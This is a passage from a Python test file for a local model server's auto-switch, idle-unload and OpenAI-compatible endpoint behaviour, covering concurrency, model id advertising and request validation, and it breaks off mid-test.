snap.mkdir(parents = True) + (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") + + entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + assert entry is not None + assert entry.loader_id == "org/Repo" # advertised id unchanged + assert "snapshots" in entry.load_path # loads from the concrete snapshot dir + assert entry.load_path != "org/Repo" # never the bare repo id + assert entry.variants # quant detected on disk + + +# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ── + + +def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): + # A model loaded normally has model_identifier == repo id, but the resolver + # returns the concrete load path. A request for that repo must count as already + # serving (no reload, no 409) even with another inference active. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/Repo-GGUF:Q4_K_M") # exact quant + _run_hook("org/Repo-GGUF") # bare id + assert rec.calls == [] + + +def test_auto_switch_advertises_repo_id_after_load(monkeypatch): + # After a load-by-path, the backend advertises the repo id (override key), not + # the concrete path, so /v1/models and the idle stash stay name-based. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("org/B-GGUF:Q8_0") + assert rec.calls[0].model_path == "/p/B-snapshot" # loaded by concrete path + assert backend._openai_advertised_id == "org/B-GGUF" # advertised by repo id + + +def test_already_serving_by_path_records_advertised_alias(monkeypatch): + # Codex P2: a model loaded by local path and requested via an advertised alias + # that resolves to the same path is already serving (no reload), but /v1/models + # and responses would report the path basename and list the alias as loaded:false + # unless the alias is recorded as the advertised id on the already-serving return. + path = "/cache/models--org--Repo-GGUF/snapshots/abc" + backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + assert backend._openai_advertised_id is None + _run_hook("org/Repo-GGUF:Q4_K_M") + assert rec.calls == [] # already serving -> no reload + assert backend._openai_advertised_id == "org/Repo-GGUF" # alias now recorded + + +def test_streaming_responses_uses_advertised_id_helper(): + # Codex P2: streamed /v1/responses envelopes must derive the model id from + # _llama_public_model_id (which prefers _openai_advertised_id), not the raw + # model_identifier. After an auto-switch to a cached HF GGUF the identifier is + # the snapshot path while the repo id lives in _openai_advertised_id, so the raw + # form would stream a snapshot basename while /v1/models, chat, and non-streaming + # responses report the repo id. + import inspect + + src = inspect.getsource(inference_route._responses_stream) + assert "_clean_model = _llama_public_model_id(llama_backend" in src + assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src + + +def test_concurrent_same_target_requests_load_once(monkeypatch): + # Two concurrent requests for the same unloaded model must load once, not each + # 409 the other. Simulate the second request already waiting (registered) while + # the first runs the hook with _inflight counting both. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch): + # A concurrent request heading to a different target still blocks the swap: the + # same-target exclusion must not swallow a genuinely conflicting request. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): + # /v1/models must report the advertised repo id, never the host load path. + from types import SimpleNamespace + + llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc") + llama._openai_advertised_id = "org/Repo-GGUF" + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + ) + objects = inference_route._openai_model_objects() + assert [o["id"] for o in objects] == ["org/Repo-GGUF"] + + +def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): + # The idle stash carries (load_path, quant, advertised_id). An alias reload must + # look up the override by the advertised repo id, not the concrete load path, + # so the user's saved launch flags survive the unload/reload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + overrides = {"org/A-GGUF": {"max_seq_length": 8192}} + monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + _run_hook("gpt-4o-mini") + assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path + assert rec.calls[0].gguf_variant == "Q4_K_M" + assert rec.calls[0].max_seq_length == 8192 # override keyed by repo id, not path + + +def test_load_route_holds_lifecycle_gate(monkeypatch): + # Lock the manual /load gate against silent revert: the route must wrap the + # load in inference_lifecycle_gate so idle-unload can't fire mid-load. + import inspect + + src = inspect.getsource(inference_route.load_model) + assert "inference_lifecycle_gate" in src + assert "_load_model_impl" in src + + +def _anthropic_payload(max_tokens = None): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "claude-x", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + ) + + +def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): + # Default-off parity: unloaded backend + auto-switch off 503s before the + # max_tokens 400, exactly as the pre-feature endpoint did. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 503 + + +def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): + # With auto-switch on, request-shape validation runs first: a missing + # max_tokens still 400s before any load is attempted. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 400 + + +# ── review round 6: concurrency ordering, external untrack, unload gate, ids ── + + +def test_pending_same_target_request_does_not_force_409(monkeypatch): + # A second same-target request blocked in the middleware (pending, not yet + # generating) must not make the first request 409: pending is excluded. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) # just the caller + monkeypatch.setattr(kw, "_pending", 1) # second request blocked in middleware + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch): + # The real middleware counts a concurrent same-model request as in-flight + # before it resolves and registers a target waiter. The raw-request waiter, + # registered before resolve, must still exclude it so the first request loads. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin + monkeypatch.setattr(kw, "_pending", 0) + # The twin has only registered its raw requested model (not yet a target waiter). + inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_external_untrack_decrements_inflight_and_is_idempotent(): + from core.inference import llama_keepwarm as kw + + kw._inflight = 2 + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 1 + assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True + kw.untrack_current_request(scope) # idempotent: no further decrement + assert kw._inflight == 1 + kw._inflight = 0 + + +def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): + # A manual /unload is a deliberate action: it tears down immediately even with + # a request in flight (only the automatic idle loop defers). No 409. + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + backend = _FakeBackend("org/A-GGUF") + backend.is_active = True + backend.unload_model = lambda: setattr(backend, "is_loaded", False) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr(kw, "_inflight", 1) # another request streaming + monkeypatch.setattr(kw, "_pending", 0) + resp = asyncio.run( + inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester") + ) + assert resp.status == "unloaded" + assert not backend.is_loaded # torn down despite the active request + + +def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch): + # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight). + # _load_model_impl would unload it, so auto-switch must 409, not only when a + # GGUF is loaded. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # no GGUF loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # an Unsloth stream + this request + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] # the active Unsloth model is not torn down + + +def test_public_model_id_prefers_advertised_over_path(): + backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf") + backend._openai_advertised_id = "org/Repo-GGUF" + # The advertised repo id from an auto-switch load wins. + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend._openai_advertised_id = None + # No advertised id: the identifier is cleaned to a public id (delegates to + # public_model_id), never the raw on-disk .gguf path. + cleaned = inference_route._llama_public_model_id(backend) + assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf") + # An already-clean repo id passes through unchanged. + backend.model_identifier = "org/Repo-GGUF" + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend.model_identifier = None + assert inference_route._llama_public_model_id(backend, "req") == "req" + + +def test_chat_validates_non_system_message_before_auto_switch(): + # A system-only chat must be rejected before the hook so an invalid request + # never swaps the resident model. Asserted on source order. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("At least one non-system message is required.") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_chat_untracks_external_provider_before_proxy(): + # The external-provider branch must untrack the request before proxying so its + # stream can't block a concurrent local auto-switch. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + + +# ── round 7: API-initiated training defers to active inference, UI does not ── + + +def test_authenticated_via_api_key_detects_key_vs_session(): + from fastapi.security import HTTPAuthorizationCredentials + from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX + + key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") + jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + assert asyncio.run(authenticated_via_api_key(key)) is True + assert asyncio.run(authenticated_via_api_key(jwt)) is False + + +def _training_request(): + from models.training import TrainingStartRequest + return TrainingStartRequest( + model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca" + ) + + +def test_api_training_refused_while_inference_active(monkeypatch): + # API-key caller: training is refused with 409 while a request streams, so it + # can't free VRAM by unloading the chat model out from under the stream. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + asyncio.run( + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = True + ) + ) + assert exc.value.status_code == 409 + + +def test_ui_training_not_blocked_by_active_inference(monkeypatch): + # UI (session auth) caller: the API guard is skipped, so training proceeds past + # it even with inference active (here it hits the normal already-active path). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") + monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) + resp = asyncio.run( + training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + ) + assert resp.status == "error" and "already" in (resp.error or "").lower() + + +# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ── + + +def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): + # With nothing stored, the env var enables idle-unload even while auto-switch + # is off (headless/ops default), and the UI reader reflects it. + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 600 + assert settings.get_stored_auto_unload_idle_seconds() == 600 + + +def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): + # An explicit stored value wins over the env default and remains gated on the + # auto-switch toggle. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 30 # stored wins, not env + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + + +def test_env_idle_ttl_invalid_is_ignored(monkeypatch): + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number") + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False) + assert settings.get_auto_unload_idle_seconds() == 0 + + +# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ── + + +def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch): + # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on + # idle; the next request must restore exactly what was freed even though the + # resolver never runs while auto-switch is off. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), # would switch if resolver ran + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A + # is restored, not the resolves_to target B. + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): + # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op + # and must not resurrect a stashed model (that path only serves the idle feature). + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + assert rec.calls == [] + + +def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): + # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot + # empty but is the live model; an unknown /v1 name must NOT resurrect the stale + # GGUF stash (that reload would tear the active Unsloth model down). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # GGUF slot empty + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + # An Unsloth model is the live backend. + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"), + ) + _run_hook("gpt-4o-mini") + assert rec.calls == [] # stale GGUF not reloaded over the active Unsloth model + + +def test_is_abs_path_id_distinguishes_path_from_repo_id(): + assert resolver._is_abs_path_id("/abs/path/model.gguf") is True + assert resolver._is_abs_path_id("org/Repo-GGUF") is False + assert resolver._is_abs_path_id("Repo") is False + + +def test_advertised_loader_id_prefers_alias_over_abs_path(): + # C1: the ./models and LM Studio scanners report the on-disk path as info.id. + from types import SimpleNamespace + + f = resolver._advertised_loader_id + # An absolute-path id falls back to the first non-path alias. + assert ( + f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X")) + == "org/X-GGUF" + ) + # No alias available: strip the path to a public id so a host path is never advertised. + assert ( + f( + SimpleNamespace( + id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None + ) + ) + == "Qwen3-8B-Q4_K_M" + ) + # A normal repo id is advertised as-is. + assert ( + f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF" + ) + + +def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch): + # C1 end-to-end: a scanner that reports the path as the id must not advertise the + # host path in /v1/models, yet the model stays resolvable by that path too. + from types import SimpleNamespace + import routes.models as models_route + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + info = SimpleNamespace( + id = str(gguf), # scanner uses the on-disk path as the id + path = str(gguf), + model_id = "org/Repo-GGUF", + display_name = "Repo", + ) + monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info]) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + resolver._scan = (0.0, {}) + + # The advertised id is the alias, never the absolute path. + advertised = sorted({entry.loader_id for entry in resolver._index().values()}) + assert advertised == ["org/Repo-GGUF"] + # But the model is still resolvable by its on-disk path (an indexed alias). + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(str(gguf)) is not None + + +def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch): + # gemini: one bad scanner (e.g. a permission error on ./models) must drop only + # that source, not abort the whole index and lose what the others found. + from types import SimpleNamespace + import routes.models as models_route + import utils.paths as paths + + def _boom(*a, **k): + raise OSError("permission denied") + + lm_info = SimpleNamespace( + id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo" + ) + monkeypatch.setattr(models_route, "_scan_models_dir", _boom) # ./models blows up + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info]) + monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None) + monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None) + monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path]) + # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry. + monkeypatch.setattr( + resolver, + "_local_gguf_entry", + lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()), + ) + resolver._scan = (0.0, {}) + index = resolver._build_index() + assert any(e.loader_id == "org/Repo-GGUF" for e in index.values()) + + +def test_info_has_local_gguf_reads_files_not_model_format(tmp_path): + # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must + # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format) + # is servable; a safetensors-only dir is not. + from types import SimpleNamespace + + gguf = tmp_path / "model-Q4_K_M.gguf" + gguf.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True + + st = tmp_path / "safetensors_model" + st.mkdir() + (st / "model.safetensors").write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False + + +def test_info_has_local_gguf_excludes_ollama_links(tmp_path): + # Codex P2: Ollama entries come from a scanner _build_index skips, so their + # advertised ids never resolve; the catalog must not report them as servable. + from types import SimpleNamespace + + links = tmp_path / ".studio_links" + links.mkdir() + ollama_gguf = links / "model-Q4_K_M.gguf" + ollama_gguf.write_bytes(b"x" * 32) + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf))) + is False + ) + # The same GGUF outside an ollama-link dir is still servable. + plain = tmp_path / "model-Q4_K_M.gguf" + plain.write_bytes(b"x" * 32) + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True + + +def test_embeddings_input_present_helper(): + f = inference_route._embeddings_input_present + assert f({"input": "hi"}) is True + assert f({"input": ["a", "b"]}) is True + assert f({"input": [1, 2, 3]}) is True + assert f({}) is False + assert f({"input": ""}) is False + assert f({"input": []}) is False + + +def test_embeddings_rejects_missing_input_before_switch(monkeypatch): + # C2: with auto-switch on, an embeddings request carrying no input must 400 + # before the hook, so an invalid request never swaps the resident model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") # loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester") + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no model switch happened + + +def test_retrieve_model_tolerates_non_string_id(monkeypatch): + # G2: a model object with a non-string id (defensive) must be skipped rather + # than crashing the .lower() compare; a valid id is still found, unknown 404s. + from fastapi import HTTPException + + async def _objs(): + return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}] + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs) + obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester")) + assert obj["id"] == "org/B-GGUF" + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_retrieve_model("123", "tester")) + assert exc.value.status_code == 404 + + +def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch): + # Codex P2: a client caching the legacy absolute .gguf path must still retrieve + # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised + # repo id (identifier = snapshot path), so the raw-path fallback must map the raw + # id to that advertised id, not public_model_id(path), or a loaded model 404s. + from types import SimpleNamespace + + raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf" + llama = SimpleNamespace( + is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF" + ) + infer = SimpleNamespace(active_model_name = None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer) + monkeypatch.setattr( + inference_route, + "_openai_model_objects", + lambda: [{"id": "org/B-GGUF", "object": "model"}], + ) + + async def _empty(): + return [] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty) + obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester")) + assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True + + +def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch): + # Codex P2: only the non-streaming GGUF path returns multiple choices, so + # stream=true + n>1 is invalid on every local serving path. Both fields are + # known pre-switch, so it must 400 before the switch rather than loading model B. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_resolver_cache_stamped_after_slow_build(monkeypatch): + # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the + # TTL would otherwise store an already-expired cache and rebuild every request. + import core.inference.local_model_resolver as r + + clock = {"t": 1000.0} + monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"]) + calls = {"n": 0} + + def _slow_build(): + calls["n"] += 1 + clock["t"] += r._CACHE_TTL_S + 10.0 # the scan itself outlasts the TTL + return {} + + monkeypatch.setattr(r, "_build_index", _slow_build) + r._scan = (0.0, {}) + r._index() # builds once, stamps post-scan + r._index() # immediately after: must reuse the cache, not rebuild + assert calls["n"] == 1 + + +def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch): + # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement + # the in-flight count without stamping activity, or unauthenticated probes would + # keep the model warm and block idle-unload. + import core.inference.llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 100.0) + + async def _recv(): + return {"type": "http.request"} + + async def _run(status_code): + async def _app(scope, receive, send): + await send({"type": "http.response.start", "status": status_code, "headers": []}) + await send({"type": "http.response.body", "body": b"x", "more_body": False}) + + sent = [] + + async def _send(m): + sent.append(m) + + mw = kw.LlamaKeepWarmMiddleware(_app) + await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send) + + asyncio.run(_run(401)) + assert kw._inflight == 0 # balanced (start then untracked end) + assert kw._last_active == 100.0 # activity NOT stamped for an auth failure + # A served (200) request still stamps activity. + asyncio.run(_run(200)) + assert kw._inflight == 0 + assert kw._last_active != 100.0 + + +# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ── + + +def _stash(monkeypatch, *, idle = 600): + """Common setup for the standalone-idle reload paths: feature off, idle TTL on, + an idle-freed model in the stash, nothing loaded, no in-flight requests.""" + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + + +def test_completions_prompt_present_helper(): + f = inference_route._completions_prompt_present + assert f({"prompt": "hi"}) is True + assert f({"prompt": ["a", "b"]}) is True + assert f({}) is False + assert f({"prompt": ""}) is False + assert f({"prompt": []}) is False + + +def test_completions_rejects_missing_prompt_before_switch(monkeypatch): + # #1: /v1/completions had no prompt pre-check, so a malformed request naming a + # different downloaded GGUF loaded it before failing. Now it 400s first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF"}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_chat_system_only_rejected_before_idle_reload(monkeypatch): + # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL + # could still reload a system-only chat before the 400. Now it 400s first. + from fastapi import HTTPException + from models.inference import ChatCompletionRequest + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + 